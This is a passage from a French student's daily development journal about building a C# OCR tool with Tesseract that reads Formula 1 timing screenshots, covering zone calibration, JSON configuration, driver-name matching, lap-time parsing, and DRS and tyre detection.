Zones.Add(new Zone(ZoneImage,bounds)); } public void AddWindow(Rectangle bounds) { if (Fits(bounds)) Windows.Add(new Window(ZoneImage,bounds)); } private bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace OCR_tester { public class Window { private Bitmap FullImage; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Bounds = bounds; } public virtual void RecoverInformations() { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate() { List detectedText = new List(); Zones = new List(); TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, \"eng\", EngineMode.Default); Image image = ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if(!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); Zones.Add(new Zone(ZoneImage, windowRectangle)); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning.","title":"Lundi 3 Avril"},{"location":"jdb.html#mardi-4-avril","text":"Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\":{ \"x\": 10, \"y\": 20, \"width\": 1450, \"height\": 1340, \"DriverZone\":{ \"x\": 0, \"y\": 23, \"height\": 25, \"Windows\":[ { \"DriverPositionWindow\":{ \"x\": 0, \"y\": 0, \"width\": 35 } }, { \"DriverPositionChangesWindow\":{ \"x\": 0, \"y\": 0, \"width\":45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\": { \"x\": 40, \"y\": 230, \"width\": 1845, \"height\": 719, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": 3, \"width\": 1845, \"height\": 35, \"Windows\": [ { \"Position\": { \"x\": 2, \"y\": 0, \"width\": 32 }, \"GapToLeader\": { \"x\": 204, \"y\": 0, \"width\": 96 }, \"LapTime\": { \"x\": 413, \"y\": 0, \"width\": 105 }, \"Drs\": { \"x\": 526, \"y\": 0, \"width\": 81 }, etc... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\": { \"x\": 37, \"y\": 238, \"width\": 1851, \"height\": 713, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": -5, \"width\": 1851, \"height\": 35 } } ] }, \"Drivers\": [ \"Leclerc\", \"Verstappen\", etc... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive.","title":"Mardi 4 Avril"},{"location":"jdb.html#mercredi-5-avril","text":"Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Hamilton\", \"Alonso\", \"Russel\", \"Gasly\", \"Stroll\", \"Sainz\", \"Hulkenberg\", \"Norris\", \"Tsunoda\", \"Piastri\", \"Zhou\", \"Ocon\", \"Magnussen\", \"Perez\", \"Sargeant\", \"De Vries\", \"Bottas\", \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Sainz\", \"Perez\", \"Hamilton\", \"Russel\", \"Magnussen\", \"Gasly\", \"Ocon\", \"Alonso\", \"Tsunoda\", \"Bottas\", \"Zhou\", \"Albon\", \"Stroll\", \"Schumacher\", \"Hulkenberg\", \"Norris\", \"Latifi\", \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.","title":"Mercredi 5 Avril"},{"location":"jdb.html#jeudi-6-avril","text":"Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard.","title":"Jeudi 6 Avril"},{"location":"jdb.html#vendredi-6-avril-2023","text":"Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50,0x50,0x50); Color currentColor = Color.FromArgb(0,0,0); Size newWindowSize = new Size(bmp.Height,bmp.Height); while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition,height); } //Its here to let the new window include a little bit of the right side int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f); int CorrectedX = currentPosition - (newWindowSize.Width - offset); if (CorrectedX <= 0) return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height); return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait 